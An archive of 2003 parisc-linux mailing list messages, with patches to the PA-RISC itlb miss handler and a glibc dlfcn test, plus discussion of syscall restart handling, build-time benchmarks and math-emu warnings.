> shame on you, you didn't even try assembling it ;-)

Assembles, and boots on my C3K, 32-bit kernel. Looking for any takers
who want to try it in 64-bit mode. I'm running lmbench to see if I can
tell the difference between this and the original code. 

I would be most appreciative if anyone would pipe up and say "Run X to
test if Y works better/faster/harder" :}

c.

--- arch/parisc/kernel/entry.S	9 Dec 2002 06:09:08 -0000	1.98
+++ arch/parisc/kernel/entry.S	12 Aug 2003 03:49:04 -0000
@@ -1469,8 +1469,7 @@ itlb_miss_20w:
 	mfctl           %cr25,ptp	/* load user pgd */
 
 	mfsp            %sr7,t0		/* Get current space */
-	or,*=           %r0,t0,%r0      /* If kernel, nullify following test */
-	cmpb,*<>,n      t0,spc,itlb_fault /* forward */
+	cmpb,<>,n	t0,spc,itlb_user_fault_20w /* forward */
 
 	/* First level page table lookup */
 
@@ -1535,8 +1534,7 @@ itlb_miss_11:
 	mfctl           %cr25,ptp	/* load user pgd */
 
 	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,itlb_fault /* forward */
+	cmpb,<>,n	t0,spc,itlb_user_fault_11 /* forward */
 
 	/* First level page table lookup */
 
@@ -1551,6 +1549,10 @@ itlb_miss_common_11:
 	sh2addl 	 t0,ptp,ptp
 	ldi		_PAGE_ACCESSED,t1
 	ldw		 0(ptp),pte
+
+	/* Running parallel, taken from below 'zdep0' */
+	zdep            spc,30,15,prot  /* create prot id from space */
+
 	bb,>=,n 	 pte,_PAGE_PRESENT_BIT,itlb_fault
 
 	/* Check whether the "accessed" bit was set, otherwise do so */
@@ -1559,7 +1561,7 @@ itlb_miss_common_11:
 	and,<>		t1,pte,%r0	/* test and nullify if already set */
 	stw		t0,0(ptp)	/* write back pte */
 
-	zdep            spc,30,15,prot  /* create prot id from space */
+	/* zdep0 moved back */
 	dep             pte,8,7,prot    /* add in prot bits from pte */
 
 	extru,=		pte,_PAGE_NO_CACHE_BIT,1,r0
@@ -1602,8 +1604,7 @@ itlb_miss_20:
 	mfctl           %cr25,ptp	/* load user pgd */
 
 	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,itlb_fault /* forward */
+	cmpb,<>,n	t0,spc,itlb_user_fault_20	/* forward */
 
 	/* First level page table lookup */
 
@@ -1882,6 +1883,37 @@ kernel_bad_space:
 dbit_fault:
 	b               intr_save
 	ldi             20,%r8
+
+/* The following three labels relate to an optimization in the itlb handler.
+   itlb_user_fault_20w:
+   itlb_user_fault_20:
+   itlb_user_fault_11:
+   We keep the CPU jumping fwd/bkwd in the common case, and the uncommon case
+   has the cmpb fail (no jump) and thus branch prediction failing. */
+
+#ifdef __LP64__
+itlb_user_fault_20w:
+	/* User tlb missed for other than his own space. Optimization. */
+	cmpb,=		%r0,t0,itlb_miss_common_20w /* backward */
+	nop
+#else
+itlb_user_fault_20:
+	/* User tlb missed for other than his own space. Optimization. */
+	cmpb,=		%r0,t0,itlb_miss_common_20 /* backward */
+	nop
+
+/* FALL THROUGH - We don't care if we run the test twice. If someone
+                  asks to have the "user is faulting death" path optimal
+                  then they should seek help. */
+
+itlb_user_fault_11:
+	/* User tlb missed for other than his own space. Optimization. */
+	cmpb,=		%r0,t0,itlb_miss_common_11 /* backward */
+	nop
+#endif
+
+/* FALL THROUGH - We have a real itlb_fault from one of the above three
+                  label sequences */
 
 itlb_fault:
 	b               intr_save


From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] dlfcn/default fixes for hppa
Date: Mon, 11 Aug 2003 23:59:29 -0400
Lines: 115
Approved: news@gmane.org
Message-ID: <20030812035929.GC9325__1953.6453801722$1416622674$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622674 29353 80.91.229.3 (22 Nov 2014 02:17:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 22:02:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3675482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 22:02:10 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19mQJm-0005QL-00; Mon, 11 Aug 2003 23:59:30 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19182

libc-alpha,

The hppa backend in gcc uses type information to determine if the variable 
we manipulate is a function descriptor, and thus, on comparisons, make 
calls behind the scenes to canonicalize that descriptor. When variables are
cast to 'void *' all the type information is lost. I've included a
patch to the dlfcn/default test that changes some of the casts in the test
such as to retain the type information. 

What I've done is to cast 'p' to a function pointer of type 
"(int (*)(int, char **))" rather than casting 'main' to an opaque
pointer of type "(void *)". Second to that I've modified test_in_mod[12]
to take a variable of type "(int (*)(int, char **))" (the address of the
calling main) rather than "(void *)", and carry out the appropriate casting.

This is the only method to do the required casts, and I am open to
comments.

Passes tests without regression on i386, and removes the dlfcn/default
failure from hppa.

Cheers,
Carlos.
---

 libc/dlfcn/default.c     |    6 +++---
 libc/dlfcn/defaultmod1.c |    6 +++---
 libc/dlfcn/defaultmod2.c |    6 +++---
 3 files changed, 9 insertions(+), 9 deletions(-)

---

2003-08-11  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* dlfcn/default.c (main): 
	Cast dlsym loaded value to same type as main.
	Address passed to test_in_mod1 and test_in_mod2 without casting.
	* dlfcn/defaultmod1.c: Change prototype of test_in_mod1.
	(test_in_mod1): Cast dlsym loaded value to same type as mainp.
	* dlfcn/defaultmod2.c: Change prototype of test_in_mod2.
	(test_in_mod2): Cast dlsym loaded value to same type as mainp.

diff -u -p -r1.2 default.c
--- libc/dlfcn/default.c	16 Nov 2000 02:12:46 -0000	1.2
+++ libc/dlfcn/default.c	29 Jul 2003 16:11:34 -0000
@@ -36,7 +36,7 @@ main (int argc, char *argv[])
       printf ("%s: main not found\n", __FILE__);
       result = 1;
     }
-  else if (p != (void *) &main)
+  else if ((int (*)(int, char **))p != main)
     {
       printf ("%s: wrong address returned for main\n", __FILE__);
       result = 1;
@@ -72,9 +72,9 @@ main (int argc, char *argv[])
   else
     printf ("%s: found_in_mod2 correctly found\n", __FILE__);
 
-  result |= test_in_mod1 ((void *) &main);
+  result |= test_in_mod1 (main);
 
-  result |= test_in_mod2 ((void *) &main);
+  result |= test_in_mod2 (main);
 
   return result;
 }
diff -u -p -r1.2 defaultmod1.c
--- libc/dlfcn/defaultmod1.c	29 Nov 2000 00:03:27 -0000	1.2
+++ libc/dlfcn/defaultmod1.c	29 Jul 2003 16:11:34 -0000
@@ -9,9 +9,9 @@ found_in_mod1 (void)
 }
 
 
-extern int test_in_mod1 (void *mainp);
+extern int test_in_mod1 (int (*mainp)(int, char **));
 int
-test_in_mod1 (void *mainp)
+test_in_mod1 (int (*mainp)(int, char **))
 {
   int (*ifp) (void);
   void *p;
@@ -24,7 +24,7 @@ test_in_mod1 (void *mainp)
       printf ("%s: main not found\n", __FILE__);
       result = 1;
     }
-  else if (p != mainp)
+  else if ((int (*)(int, char **))p != mainp)
     {
       printf ("%s: wrong address returned for main\n", __FILE__);
       result = 1;
diff -u -p -r1.2 defaultmod2.c
--- libc/dlfcn/defaultmod2.c	29 Nov 2000 00:03:27 -0000	1.2
+++ libc/dlfcn/defaultmod2.c	29 Jul 2003 16:11:34 -0000
@@ -16,9 +16,9 @@ found_in_mod2 (void)
 }
 
 
-extern int test_in_mod2 (void *mainp);
+extern int test_in_mod2 (int (*mainp)(int, char **));
 int
-test_in_mod2 (void *mainp)
+test_in_mod2 (int (*mainp)(int, char **))
 {
   int (*ifp) (void);
   void *p;
@@ -31,7 +31,7 @@ test_in_mod2 (void *mainp)
       printf ("%s: main not found\n", __FILE__);
       result = 1;
     }
-  else if (p != mainp)
+  else if ((int (*)(int, char **))p != mainp)
     {
       printf ("%s: wrong address returned for main\n", __FILE__);
       result = 1;


From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] how to handle ERESTART_RESTARTBLOCK ?
Date: Mon, 11 Aug 2003 23:02:44 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <20030812060244.GE21328@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622674 29356 80.91.229.3 (22 Nov 2014 02:17:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 23:58:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80863482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 23:58:37 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 25056CD2FC; Mon, 11 Aug 2003 23:02:44 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19183

I commited some broken code into 2.6 cvs just now, so now i need some
help to fix it ;-) sorry for the verbose explanation below, but i need
to write this down to make sure i understand it myself :-)

Our signal handling code was not handling ERESTART_RESTARTBLOCK
correctly. as far as I can tell, the semantics of this is that if a
syscall function returns with that error code, we are supposed to
restart the syscall, but with a new syscall number
(__NR_restart_syscall -- which we don't define at the moment)

The problem is that our syscall mechanism doesn't really allow this
(afaict). Our syscall sequence looks like this:

    ble <address of gateway page>
    ldi <syscall number>, %r20
    [ we enter the kernel at this point ]

and the way we handle restarting other syscalls is to set the iaoq back
by two insns, so we do the ble again. there's a comment about this in
the code (signal.c)

                        /* Hooray for delayed branching.  We don't
                           have to restore %r20 (the system call
                           number) because it gets loaded in the delay
                           slot of the branch external instruction. */
                        regs->gr[31] -= 8;

which is all well and good, except i don't see how we can change the
syscall number to restart it for the ERESTART_RESTARTBLOCK case.

why is it bad to just call sys_restart_syscall directly from
do_signal()?

any suggestions on how to handle this properly?

thanks
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Tue, 12 Aug 2003 14:21:18 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <3F29178A00002C09@ocpmta7.freegates.net>
References: <20030812035810.GB9325@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622675 29357 80.91.229.3 (22 Nov 2014 02:17:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	"LaMont Jones" <lamont@hp.com>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 06:21:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54373482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Aug 2003 06:21:24 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19mY61-0006ig-00; Tue, 12 Aug 2003 14:17:49 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 12 Aug 2003 14:21:18 +0200
In-Reply-To: <20030812035810.GB9325@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19184

Hi Carlos,

>Assembles, and boots on my C3K, 32-bit kernel. Looking for any takers
>who want to try  it in 64-bit mode. I'm running lmbench to see if I can
>tell the difference between this and the original code. 
>
>I would be most appreciative if anyone would pipe up and say "Run X to
>test if Y works better/faster/harder" :}

I apply your patch against 2.4.21-pa9 on the N-4000 and compile it successfully
with hppa64-linux-gcc (3.2.3). (having no clue about lmbench) I take this
exercise to roughly compare. 

Running the original 2.4.21-pa9 here are times:
Tue Aug 12 09:59:55 CEST 2003
[...] # Build kernel: 19'58"
Tue Aug 12 10:19:53 CEST 2003
[...] # Build modules: 7'46"
Tue Aug 12 10:27:39 CEST 2003

Running this new kernel:

Tue Aug 12 12:28:37 CEST 2003
[...] # Build kernel: 20'8"
Tue Aug 12 12:48:45 CEST 2003
[...] # Build modules: 7'47"
Tue Aug 12 12:56:32 CEST 2003

The difference are so small that a more accurate tools would be requested.

hth anyway,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Tue, 12 Aug 2003 10:40:12 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20030812144012.GE9325@systemhalted>
References: <20030812035810.GB9325@systemhalted> <3F29178A00002C09@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622675 29361 80.91.229.3 (22 Nov 2014 02:17:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:55 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, LaMont Jones <lamont@hp.com>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 08:43:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 891DB482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Aug 2003 08:43:03 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19maJo-0004pg-00; Tue, 12 Aug 2003 10:40:12 -0400
Content-Disposition: inline
In-Reply-To: <3F29178A00002C09@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (28% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19185

> I apply your patch against 2.4.21-pa9 on the N-4000 and compile it successfully
> with hppa64-linux-gcc (3.2.3). (having no clue about lmbench) I take this
> exercise to roughly compare. 
> 
> Running the original 2.4.21-pa9 here are times:
> Tue Aug 12 09:59:55 CEST 2003
> [...] # Build kernel: 19'58"
> Tue Aug 12 10:19:53 CEST 2003
> [...] # Build modules: 7'46"
> Tue Aug 12 10:27:39 CEST 2003
> 
> Running this new kernel:
> 
> Tue Aug 12 12:28:37 CEST 2003
> [...] # Build kernel: 20'8"
> Tue Aug 12 12:48:45 CEST 2003
> [...] # Build modules: 7'47"
> Tue Aug 12 12:56:32 CEST 2003
> 
> The difference are so small that a more accurate tools would be requested.

Thanks Joel! Yeah, I figured that perhaps the change might get lost in
the noise... I'm still running lmbench multiple times to get good
numbers.

Thanks again!

c.



From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] removing warnings from math-emu code
Date: Tue, 12 Aug 2003 09:14:28 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20030812151428.GC20514@dsl2.external.hp.com>
References: <20030812034244.GC21328@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622675 29366 80.91.229.3 (22 Nov 2014 02:17:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 09:14:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C6677482D; Tue, 12 Aug 2003 09:14:28 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030812034244.GC21328@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19186

On Mon, Aug 11, 2003 at 08:42:44PM -0700, Randolph Chung wrote:
> Would anyone mind if i committed this to cvs? (2.6 only) It
> removes/hides all the warnings from the math-emu directory, since we
> don't plan to fix them... 

I'm pretty sure Paul Bame said it was ok to fix them at this point.
He didn't expect any major changes to our FP EMU support or
the HPUX FP emulation it was derived from.

grant


From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] removing warnings from math-emu code
Date: Tue, 12 Aug 2003 17:54:16 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3F29178A00002D79@ocpmta7.freegates.net>
References: <20030812151428.GC20514@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622675 29368 80.91.229.3 (22 Nov 2014 02:17:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 09:54:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D68B482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Aug 2003 09:54:22 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19mbR0-0005AB-00; Tue, 12 Aug 2003 17:51:42 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 12 Aug 2003 17:54:16 +0200
In-Reply-To: <20030812151428.GC20514@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19187

>I'm pretty sure Paul Bame said it was ok to fix them at this point.
>He didn't expect any major changes to our FP EMU support or
>the HPUX FP emulation it was derived from.

Ha a long time ago I suggest a draft patch (iirc forget because too difficult
to manage versus HPUX). If someone else is interested in I can try to find
it back?

Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] removing warnings from math-emu code
Date: Tue, 12 Aug 2003 17:54:16 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3F29178A00002D7A@ocpmta7.freegates.net>
References: <20030812151428.GC20514@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622676 29370 80.91.229.3 (22 Nov 2014 02:17:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 09:54:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53C36482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Aug 2003 09:54:23 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19mbQ6-00032P-00; Tue, 12 Aug 2003 17:50:46 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 12 Aug 2003 17:54:16 +0200
In-Reply-To: <20030812151428.GC20514@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19188

>I'm pretty sure Paul Bame said it was ok to fix them at this point.
>He didn't expect any major changes to our FP EMU support or
>the HPUX FP emulation it was derived from.

Ha a long time ago I suggest a draft patch (iirc forget because too difficult
to manage versus HPUX). If someone else is interested in I can try to find
it back?

Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
